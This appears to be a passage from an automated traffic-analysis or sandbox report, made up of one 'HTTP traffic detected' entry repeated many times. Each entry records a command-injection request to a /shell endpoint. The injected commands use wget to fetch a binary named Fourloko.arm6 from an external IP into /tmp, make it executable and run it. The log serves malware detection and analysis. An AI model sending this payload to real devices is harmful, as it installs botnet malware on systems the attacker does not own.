Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
